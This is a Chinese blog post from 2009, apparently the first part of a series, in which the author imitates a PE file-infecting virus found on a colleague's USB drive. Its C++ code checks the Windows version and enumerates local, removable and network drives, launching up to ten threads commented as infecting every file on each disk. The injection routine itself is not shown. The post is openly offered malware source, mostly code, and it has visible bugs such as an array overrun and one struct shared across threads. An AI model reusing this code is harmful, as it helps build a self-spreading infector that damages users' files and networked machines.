您的位置:首页 > 理论基础 > 计算机网络

PE型感染病毒 —— 遍历磁盘驱动器 (1)

2009-12-18 20:45 211 查看
前天某同事的U盘中毒,在10分钟内感染了近2G(大约一百个EXE安装文件,相当于5秒左右感染一个PE文件)。确实佩服这速度,于是WS32DSM反汇编,虽然我看不懂反汇编代码,但也只好硬着头皮揣摩一下思路并试试~~~

 

感染前需要遍历驱动驱动器,下面是自己山寨的一份:

 

1、判断操作系统


 

如果是Windows 98/Me/95/CE或以下的系统则直接退出:

 

/************************************************************************/
/* 函数说明:判断操作系统版本
/* 参    数:无
/* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE
/* By:Koma   2009.12.16 23:35
/************************************************************************/
BOOL CTestDlg::GetOSVersion()
{
DWORD	dwVersion = 0;
// 如果是Windows 98/Me/95以上的操作系统则返回TRUE
dwVersion = GetVersion();
if (dwVersion < 0x80000000)
{
return TRUE;
}
return FALSE;
}


 

2、遍历磁盘驱动器:


开始遍历全部的磁盘驱动器,包括本地磁盘、网络磁盘、移动磁盘:

/************************************************************************/
/* 函数说明:多线程感染全盘文件
/* 参    数:无
/* 返 回 值:无
/* By:Koma   2009.12.17 0:40
/************************************************************************/
void CTestDlg::EmuAllDisk()
{
CString strTemp;							// 临时字符串
UINT	revtype;							// 磁盘类型
char	name[5]= "C:";						// 磁盘名称
int		nCount = 0;							// 磁盘数量
HANDLE	hThread[10];						// 最大启动十个磁盘感染线程
DWORD	dwTid[10];							// 线程PID
DiskInfo	di;								// 设置盘符名
for(BYTE i=0x42;i<0x5B;i=i+0x01)			// 遍历所有盘符
{
name[0]=i;
revtype=GetDriveType(name);

switch(revtype){						// 判断磁盘驱动器的属性
case DRIVE_FIXED:						// 是否为本地磁盘
case DRIVE_REMOVABLE:					// 是否为可移动磁盘
case DRIVE_REMOTE:						// 是否为网络磁盘
if(nCount>10){						// 最大启动十个线程
nCount = 0;						// 恢复计数器
Sleep(30000);					// 休眠30秒
break;
}
strTemp.Format("%c",name[0]);
strTemp = strTemp + ":";			// 磁盘字符串形式,如C:
di.m_strName = strTemp;				// 设置感染文件的绝对路径
hThread[nCount] = CreateThread (NULL, 0, ThreadInject,(LPVOID)(&di),NULL,&dwTid[nCount]);
nCount++;
break;
}
}
}


 

以上代码的效率有待优化,希望能与你一起交流并提出宝贵的意见 !

 

(文章仅供学习交流,请不要用作非法用途,否则与本人、本站无关!)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息